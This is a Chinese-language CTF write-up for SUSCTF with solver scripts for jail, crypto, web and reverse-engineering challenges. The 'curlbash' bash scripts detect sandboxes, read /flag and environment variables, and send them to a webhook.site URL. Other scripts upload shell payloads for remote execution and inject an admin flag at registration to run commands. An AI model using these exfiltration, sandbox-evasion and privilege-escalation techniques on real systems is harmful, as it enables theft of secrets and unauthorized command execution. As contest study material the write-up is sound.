SUSCTF wp

image-20251006220901737

那几道逆向不太想复现了

MISC

Questionnaire

问卷

easyjail

AI直出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import argparse
import json
import secrets
import socket
import ssl
import sys
import urllib.error
import urllib.request

PAYLOAD = "env -i PATH=/usr/bin:/bin sh -c 'cat /flag'\n"
PRIMARY_ENDPOINT = "https://0x0.st"
TMPFILES_ENDPOINT = "https://tmpfiles.org/api/v1/upload"
PASTERS_ENDPOINT = "https://paste.rs"
PIPFI_ENDPOINT = "https://p.ip.fi"


def _multipart_request(url: str, field_name: str, filename: str, content: str) -> urllib.request.Request:
boundary = "----ctf" + secrets.token_hex(8)
body = []
body.append(f"--{boundary}\r\n".encode())
body.append(
f"Content-Disposition: form-data; name=\"{field_name}\"; filename=\"{filename}\"\r\n".encode()
)
body.append(b"Content-Type: text/plain\r\n\r\n")
body.append(content.encode())
body.append(b"\r\n")
body.append(f"--{boundary}--\r\n".encode())
data = b"".join(body)
return urllib.request.Request(
url,
data=data,
headers={
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "ctf-solver",
},
method="POST",
)


def upload_0x0(payload: str) -> str:
request = _multipart_request(PRIMARY_ENDPOINT, "file", "p.sh", payload)
ctx = ssl.create_default_context()
with urllib.request.urlopen(request, context=ctx, timeout=10) as response:
url = response.read().decode().strip()
if not url.startswith("http"):
raise RuntimeError(f"0x0.st 返回异常:{url!r}")
return url


def upload_tmpfiles(payload: str) -> str:
request = _multipart_request(TMPFILES_ENDPOINT, "file", "p.sh", payload)
ctx = ssl.create_default_context()
with urllib.request.urlopen(request, context=ctx, timeout=10) as response:
data = response.read().decode().strip()
parsed = json.loads(data)
url = parsed["data"]["url"].replace("https://tmpfiles.org/", "https://tmpfiles.org/dl/")
if not url.startswith("http"):
raise RuntimeError(f"tmpfiles 返回异常:{url!r}")
return url


def upload_paste_rs(payload: str) -> str:
request = urllib.request.Request(
PASTERS_ENDPOINT,
data=payload.encode(),
headers={"Content-Type": "text/plain", "User-Agent": "ctf-solver"},
method="POST",
)
ctx = ssl.create_default_context()
with urllib.request.urlopen(request, context=ctx, timeout=10) as response:
url = response.read().decode().strip()
if not url.startswith("http"):
raise RuntimeError(f"paste.rs 返回异常:{url!r}")
return url


def upload_p_ip_fi(payload: str) -> str:
request = urllib.request.Request(
PIPFI_ENDPOINT,
data=payload.encode(),
headers={"Content-Type": "text/plain", "User-Agent": "ctf-solver"},
method="POST",
)
ctx = ssl.create_default_context()
with urllib.request.urlopen(request, context=ctx, timeout=10) as response:
url = response.read().decode().strip()
if not url.startswith("http"):
raise RuntimeError(f"p.ip.fi 返回异常:{url!r}")
return url


UPLOADERS = [
("0x0.st", upload_0x0),
("tmpfiles", upload_tmpfiles),
("paste.rs", upload_paste_rs),
("p.ip.fi", upload_p_ip_fi),
]


def upload_payload(payload: str) -> str:
last_error: Exception | None = None
for name, uploader in UPLOADERS:
try:
url = uploader(payload)
except urllib.error.HTTPError as err:
print(f"[!] {name} 上传失败:{err}")
last_error = err
continue
except Exception as err: # noqa: BLE001
print(f"[!] {name} 上传异常:{err}")
last_error = err
continue
print(f"[+] {name} 上传成功")
return url
raise RuntimeError(f"所有上传方式均失败:{last_error}")


def interact(host: str, port: int, url: str) -> str:
with socket.create_connection((host, port), timeout=5) as sock:
sock_file = sock.makefile("rb")
buffer = b""
while not buffer.endswith(b": "):
ch = sock_file.read(1)
if not ch:
raise RuntimeError("远端提前关闭连接")
buffer += ch
sys.stdout.write(buffer.decode(errors="ignore"))
sys.stdout.flush()

sock.sendall(url.encode() + b"\n")
remaining = sock_file.read()
return remaining.decode(errors="ignore")


def extract_flag(output: str) -> str:
for line in output.splitlines():
if line.startswith("Script stdout:"):
return line.partition(":")[2].strip()
return ""


def main() -> None:
parser = argparse.ArgumentParser(description="SUSCTF misc 远程脚本沙箱解题脚本")
parser.add_argument("host", help="题目主机")
parser.add_argument("port", type=int, help="题目端口")
parser.add_argument("--payload-url", help="直接指定已上传脚本的 URL")
args = parser.parse_args()

payload_url = args.payload_url or upload_payload(PAYLOAD)
print(f"[+] 使用脚本 URL: {payload_url}")

output = interact(args.host, args.port, payload_url)
print(output)

flag = extract_flag(output)
if flag:
print(f"[+] Flag: {flag}")
else:
print("[!] 输出中未找到 Flag,请确认脚本实际执行情况")


if __name__ == "__main__":
main()

image-20251005220720914

curlbash

用了webhook和gist持久化一个文件链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# 用 webhook.site 探测网络:能连=非沙箱;不能=沙箱
set +e
curl -sI --connect-timeout 2 "https://webhook.site/2427af48-d862-4776-92fb-2fe7e93af250" | grep -q "^HTTP/"
if [ $? -eq 0 ]; then
netok=1
else
netok=0
fi
set -e

if [ $netok -eq 1 ]; then
# ==== 非沙箱:收集并外带 flag ====
WEBHOOK="https://webhook.site/2427af48-d862-4776-92fb-2fe7e93af250"

fl=""
if [ -n "$FLAG" ]; then
fl="$FLAG"
elif [ -f /flag ]; then
fl="$(cat /flag)"
elif [ -f /flag.txt ]; then
fl="$(cat /flag.txt)"
elif [ -f /app/flag ]; then
fl="$(cat /app/flag)"
else
fl="Flag not found"
fi

# 避免 -e 因网络问题让脚本非0退出
set +e

# 方式1:POST 正文(不使用 shell 重定向;用管道把stdin喂给 curl)
printf '%s' "$fl" | curl -fsS -X POST --data-binary @- "$WEBHOOK?type=flag" -o /dev/null

# 方式2:再发一个简短 HEAD/GET 方便在面板里直观看到(依然不做 shell 重定向)
curl -fsS "$WEBHOOK?ping=1" -o /dev/null

set -e
else
# ==== 沙箱:保持静默、无副作用 ====
:
fi
s

非预期出的

image-20251005232401456

curlbash-revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# 区分“文件执行”(沙箱轮) vs “stdin 执行”(最终 curl|bash):
# 在 bash 里,脚本通过文件运行时 $0 是脚本路径;
# 通过 stdin 运行时,$0 通常是 bash/sh(例如 "bash" 或 "-bash")。

case "$0" in
bash|-bash|sh|-sh)
# ===== 最终轮:通过 stdin 被执行(curl | bash) =====

# 收集 flag(尽量覆盖常见位置/变量)
fl=""
if [ -n "$FLAG" ]; then
fl="$FLAG"
elif [ -f /flag ]; then
fl="$(cat /flag)"
elif [ -f /flag.txt ]; then
fl="$(cat /flag.txt)"
elif [ -f /app/flag ]; then
fl="$(cat /app/flag)"
else
fl="Flag not found"
fi

# 发到你的 webhook(不用 shell 重定向;网络失败也不让脚本非0退出)
WEBHOOK="https://webhook.site/2427af48-d862-4776-92fb-2fe7e93af250"
printf '%s' "$fl" | curl -fsS -X POST --data-binary @- "$WEBHOOK?type=flag" -o /dev/null || :
curl -fsS "$WEBHOOK?ping=1" -o /dev/null || :
;;

*)
# ===== 沙箱轮:脚本从文件运行,保持静默无副作用 =====
:
;;
esac

# 明确成功退出
exit 0

image-20251005232438914

eat-mian

做一下替换然后去在线网站测试下就行

image-20251006150525926

susctf{Mag1Cal_P7epr0ces$er_087604c6048d}

Crypto

03-CrySignin

GPT

image-20251005221049585

04-Broadcast_1

AI出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import socket, ast

HOST = "106.14.191.23" # 远程服务地址
PORT = 53481 # 远程服务端口
NUM_QUERIES = 600 # 查询次数,可取<=1096,样本越多恢复越稳健

# 1. 连接服务并获取 Public Seed
sock = socket.socket()
sock.connect((HOST, PORT))
data = sock.recv(1024).decode() # 接收初始信息,包括种子
if not data:
raise RuntimeError("Failed to receive data from server.")
# 数据可能包含 "Public Seed:<seed>\nGive me your choice>"
# 确保读到种子整行
if "Public Seed:" not in data:
# 若首次未完整,则继续接收
more = sock.recv(1024).decode()
data += more

# 解析种子字符串
lines = data.splitlines()
seed_line = None
for line in lines:
if line.startswith("Public Seed:"):
seed_line = line
break
if seed_line is None:
raise RuntimeError("Public Seed not found in server response.")
seed_value = seed_line.split("Public Seed:")[1].strip()
print(f"[+] Public Seed = {seed_value}")

# 2. 依照种子重建矩阵 A (128x128, 元素0-99),并确保其可逆
import random
rng = random.Random()
rng.seed(seed_value.encode()) # 注意按服务器相同行为,用 bytes 作为种子
n = 128
p = 31337
# 生成随机矩阵直至满秩
while True:
A = [[rng.randint(0, 99) for _ in range(n)] for __ in range(n)]
# 高斯消元求秩
M = [row.copy() for row in A]
rank = 0
for col in range(n):
# 找到当前列的非零主元
pivot = None
for r in range(rank, n):
if M[r][col] % p != 0:
pivot = r
break
if pivot is None:
continue
# 交换到当前秩行
M[rank], M[pivot] = M[pivot], M[rank]
# 归一化主元所在行
inv_val = pow(M[rank][col], -1, p)
for c in range(col, n):
M[rank][c] = (M[rank][c] * inv_val) % p
# 消去该列下方元素
for r in range(rank+1, n):
if M[r][col] % p != 0:
factor = M[r][col]
for c in range(col, n):
M[r][c] = (M[r][c] - factor * M[rank][c]) % p
rank += 1
if rank == n:
break
if rank == n:
break
# 此时 A 为可逆矩阵
print("[*] Matrix A generated (full rank). Beginning queries...")

# 3. 多次查询获取输出向量数据
outputs = [] # 将存储每次返回的长度128的列表
# 如果先前接收的数据中已经包含初始的 "Give me your choice>" 提示,需要处理
# 寻找提示符位置(如果存在)
prompt_index = data.find("Give me your choice>")
# 若接收到 prompt,没有换行,需要人为加上换行以避免干扰后续解析
if prompt_index != -1 and data.endswith("Give me your choice>"):
# prompt 没有换行且是最后内容,直接忽略,它会在交互中重新出现
pass

# 进行 NUM_QUERIES 次查询
for i in range(NUM_QUERIES):
# 发送 '1' 请求一个样本
sock.sendall(b"1\n")
# 接收该次的输出列表字符串(注意列表较长,需循环读取直到得到完整的']')
resp = ""
while ']' not in resp:
chunk = sock.recv(4096).decode()
if not chunk:
raise RuntimeError("Connection closed before receiving full response.")
resp += chunk
# 截取列表字符串部分(从第一个'['到对应的第一个']')
start = resp.find('[')
end = resp.find(']', start)
list_str = resp[start:end+1]
try:
nums = ast.literal_eval(list_str)
except Exception as e:
raise RuntimeError(f"Failed to parse output list: {e}\nData: {list_str}")
if len(nums) != n:
raise RuntimeError(f"Output length {len(nums)} != {n}")
outputs.append(nums)
# 打印进度
if (i+1) % 100 == 0:
print(f" Collected {i+1} samples...")
# 保存末尾未处理的数据(可能包含下一个提示符)
resp = resp[end+1:]
# 如果末尾含提示符,下次循环会再次recv,不影响正确性

# 完成采样后,发送非'1'使服务器退出循环
sock.sendall(b"0\n")
sock.close()
print(f"[+] Collected {len(outputs)} outputs. Processing data...")

# 4. 对每个分量聚类去噪,估计 A*s
As_values = [0] * n
for j in range(n):
vals = [outputs[i][j] for i in range(len(outputs))]
vals.sort()
# 检测是否发生模绕回(两簇现象)
if vals[-1] - vals[0] > p // 2:
# 存在两簇:决定哪簇是主要簇
# 通过中位数判断主要簇位置
median_val = vals[len(vals)//2]
if median_val > p // 2:
# 主要簇在高值端,将低值簇的值加上一个模数p
# 寻找最大间隔点作为簇分界
diffs = [vals[i+1] - vals[i] for i in range(len(vals)-1)]
idx = diffs.index(max(diffs))
low_cluster = vals[:idx+1]
high_cluster = vals[idx+1:]
low_cluster_adjusted = [v + p for v in low_cluster]
vals = sorted(low_cluster_adjusted + high_cluster)
else:
# 主要簇在低值端,将高值簇减去一个模数p
diffs = [vals[i+1] - vals[i] for i in range(len(vals)-1)]
idx = diffs.index(max(diffs))
low_cluster = vals[:idx+1]
high_cluster = vals[idx+1:]
high_cluster_adjusted = [v - p for v in high_cluster]
vals = sorted(low_cluster + high_cluster_adjusted)
# 取平均值作为 (A*s)_j 的估计,并四舍五入取最近整数
avg_val = sum(vals) / len(vals)
As_values[j] = int(round(avg_val)) % p # 最终取模 p 确保在 [0,p)

# 5. 计算 s = A^{-1} * (A*s) 来求解 s
# 先对 A 进行模 p 下求逆
# 构造增广矩阵 [A|I] 做高斯消元
Aug = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(A)]
for col in range(n):
# 找到主元
pivot = col
while pivot < n and Aug[pivot][col] % p == 0:
pivot += 1
if pivot == n:
raise RuntimeError("Matrix is singular during inversion (unexpected).")
# 将主元行换到当前列对应行
Aug[col], Aug[pivot] = Aug[pivot], Aug[col]
inv_val = pow(Aug[col][col], -1, p)
# 主元归一化
for c in range(2*n):
Aug[col][c] = (Aug[col][c] * inv_val) % p
# 消去其他行该列
for r in range(n):
if r != col:
factor = Aug[r][col]
if factor != 0:
for c in range(col, 2*n):
Aug[r][c] = (Aug[r][c] - factor * Aug[col][c]) % p

# 提取逆矩阵
A_inv = [row[n:] for row in Aug]
# 计算 s = A_inv * (A*s 值向量)
s = []
for i in range(n):
total = 0
for j in range(n):
total = (total + A_inv[i][j] * As_values[j]) % p
s.append(total)

# 6. 从 s 导出 flag(s[i] mod 200 为 ASCII 码)
flag_chars = [chr(x % 200) for x in s]
flag = "".join(flag_chars)
print("[+] Recovered flag:", flag)

image-20251005221355601

Web

am i admin?

AI出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

BASE_URL = "http://106.14.191.23:56062" # 视题目部署实际地址调整
session = requests.Session()


def register(username, password):
payload = {"username": username, "password": password, "IsAdmin": True}
r = session.post(f"{BASE_URL}/register", json=payload)
print("[*] register:", r.status_code, r.text)


def login(username, password):
payload = {"username": username, "password": password}
r = session.post(f"{BASE_URL}/login", json=payload)
print("[*] login:", r.status_code, r.text)
print("[*] cookies:", session.cookies.get_dict())


def run_command(cmd, args):
payload = {"cmd": cmd, "args": args}
r = session.post(f"{BASE_URL}/run", json=payload)
print("[*] run:", r.status_code, r.json())


if __name__ == "__main__":
username = "pwn"
password = "pwn"

register(username, password) # 第一步:注册并注入 IsAdmin
login(username, password) # 第二步:登录拿到 session_id
run_command("cat", ["/flag"]) # 第三步:以管理员身份读 flag
# run_command("id", []) # 可执行任意命令测试

image-20251005221442895

am i admin?2

AI 出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import secrets

BASE_URL = "http://106.14.191.23:59608"


def main():
sess = requests.Session()
username = "pwn" + secrets.token_hex(4)
password = "Passw0rd!"
register_data = {"username": username, "password": password, "isadmin": True}
r = sess.post(f"{BASE_URL}/register", json=register_data)
print("register:", r.status_code, r.text)

login_data = {"username": username, "password": password}
r = sess.post(f"{BASE_URL}/login", json=login_data)
print("login:", r.status_code, r.text)

cmd_payload = {"cmd": "/bin/sh", "args": ["-c", "cat /flag"]}
r = sess.post(f"{BASE_URL}/run", json=cmd_payload)
print("run:", r.status_code, r.json())

if __name__ == "__main__":
main()

image-20251005221511012

RE

android-native

native里有RC4校验

key做了更改

image-20251004104652628

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from __future__ import annotations

KEY_BYTES = bytearray(b"1m1r6rqro1l~dr")
CIPHERTEXT = bytes([
0x00, 0x7F, 0xD6, 0xE8, 0xE9, 0x17, 0xD1, 0x59,
0x76, 0xB1, 0x19, 0xA0, 0x57, 0x38, 0x27, 0x28,
0x0F, 0x9A, 0x10, 0xF6, 0xD2, 0x75, 0x52, 0x83,
0x97, 0x66, 0x4C, 0xF7, 0x3D, 0x9B, 0x8F, 0x85,
0x4A, 0xD7, 0x08, 0xF4, 0x6D, 0xE7, 0xA9, 0x1D,
0xB8, 0x9C, 0x0F, 0x8A,
])

MUTATION_MASKS = {
1: 0x01,
2: 0x01,
3: 0x04,
4: 0x05,
5: 0x01,
6: 0x04,
7: 0x01,
8: 0x09,
9: 0x01,
10: 0x09,
11: 0x08,
12: 0x01,
}


def mutate_key(key: bytearray) -> bytes:
for idx, mask in MUTATION_MASKS.items():
key[idx] ^= mask
return bytes(key)


def rc4_crypt(data: bytes, key: bytes) -> bytes:
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + key[i % len(key)]) & 0xFF
state[i], state[j] = state[j], state[i]

out = bytearray()
i = j = 0
for byte in data:
i = (i + 1) & 0xFF
j = (j + state[i]) & 0xFF
state[i], state[j] = state[j], state[i]
k = state[(state[i] + state[j]) & 0xFF]
out.append(byte ^ k)
return bytes(out)


def main() -> None:
mutated_key = mutate_key(KEY_BYTES.copy())
flag = rc4_crypt(CIPHERTEXT, mutated_key)

if rc4_crypt(flag, mutated_key) != CIPHERTEXT:
raise RuntimeError("sanity check failed; ciphertext mismatch")

print("mutated key:", mutated_key.decode())
print("flag:", flag.decode())


if __name__ == "__main__":
main()

susctf{de094624-8f5b-44dc-810c-58132a2b5ea3}

一个饼干人

Il2CppDumper 检测到“This file may be protected”——说明 so 有防护/修改,导致它选择不生成或生成失败对 IDA/Ghidra 的自动重命名脚本。

github上面的解释

Il2CppDumper检测到可执行文件已被保护,使用GameGuardian从游戏内存中dump libil2cpp.so,然后使用Il2CppDumper载入按提示操作,可绕过大部分保护

这里思路开始偏了,开始去用师傅的另一个项目去拿dump.cs

拿到之后,又偏了分析libcpp.so导入xx.h和xx.json这俩文件花了1个小时左右

最后发现逻辑无法分析,然后开始思考cookie

在asset下发现了delicous,查了下可以解包,用assetstudio没解出来

用的assetripper解出来了

手慢了大概没一会,本来二血,居然是小写的c….

image-20251004205252977

SUSCTF{cookies_GOOD}

ezsignin

patch掉花指令,得到主逻辑,中间还有base58,rc4…

image-20251005104309406

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
value_map = {c: i for i, c in enumerate(alphabet)}
target = (
"2wHFw6XRQFJexwYcizWFJVU87GnPPbuRZF99t8884SxTeRptgvAmfzdqmE9skCSR"
"bEMUc8r5WcGQ4aq8gJQ2fpUQgiiNvkEQXL4GoQ5rBZfejYFtEpTA5x1kybteneAuE"
"Cqp3uLCDnuU4GwD1kKet8Bmqb4eidPWEcr6bSNNU3wr5xxtHpc43TyHMSKggBRZr"
)

def b58decode(s: str) -> bytes:
num = 0
for ch in s:
num = num * 58 + value_map[ch]
out = bytearray()
while num:
num, rem = divmod(num, 256)
out.append(rem)
out.reverse()
leading = len(s) - len(s.lstrip("1"))
return bytes([0] * leading) + bytes(out)


layer = target
for i in range(5):
decoded = b58decode(layer)
if i < 4:
layer = decoded.decode("ascii")
else:
original = decoded

flag = bytes(b ^ 0x66 for b in original).decode("utf-8")
print(flag)

susctf{Oh_My_G0d_You_@re_Rev3rse_God!!!}

made-in-haven

看到haven就想到了dubhectf做的一道天堂之门的题目…

看了下附件有很多retn和花指令混淆,都path掉再F5就可以得到主逻辑

image-20251007095901048

先对key前8位和后8位做xor和sub

image-20251007100352051

然后一个简单的TEA即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64, struct

TWEAK_XOR = [0x01, 0x09, 0x02, 0x06, 0x00, 0x08, 0x01, 0x07]
TWEAK_SUB = [0x02, 0x00, 0x02, 0x05, 0x01, 0x00, 0x00, 0x01]
KEY_SEED = bytearray(b'elgvdislhapybsy"')
CIPHER = bytes.fromhex("6f470a56d13abcf8e393c2a6118f0b6ff77da5815732b3f5618570a0e19339ec")
DELTA = 0xDEADBEEF
ROUNDS = 32

assert len(KEY_SEED) == 16
assert len(TWEAK_XOR) >= 8 and len(TWEAK_SUB) >= 8

# Phase 1 (xor-type)
for i, tweak in enumerate(TWEAK_XOR[:8]):
t = (tweak) & 0xFF
KEY_SEED[i] = ((KEY_SEED[i] ^ t) ) & 0xFF

# Phase 2 (sub-type) — simplified equivalence: ((* - (b-1)) - 1) == (* - b)
for i, tweak in enumerate(TWEAK_SUB[:8]):
KEY_SEED[8 + i] = (KEY_SEED[8 + i] - (tweak & 0xFF)) & 0xFF

KEY = struct.unpack("<4I", bytes(KEY_SEED))
def tea_decrypt_block(v0, v1):
total = (DELTA * ROUNDS) & 0xFFFFFFFF
for _ in range(ROUNDS):
v1 = (v1 - (((v0 << 4) + KEY[2]) ^ (v0 + total) ^ ((v0 >> 5) + KEY[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + KEY[0]) ^ (v1 + total) ^ ((v1 >> 5) + KEY[1]))) & 0xFFFFFFFF
total = (total - DELTA) & 0xFFFFFFFF
return v0, v1

flag = bytearray()
for off in range(0, len(CIPHER), 8):
block = struct.unpack("<2I", CIPHER[off:off + 8])
flag += struct.pack("<2I", *tea_decrypt_block(*block))

print( ''.join(chr(b) if 32<=b<=126 else '.' for b in flag))

susctf{sp33d_up_time_t0_h34v3n!}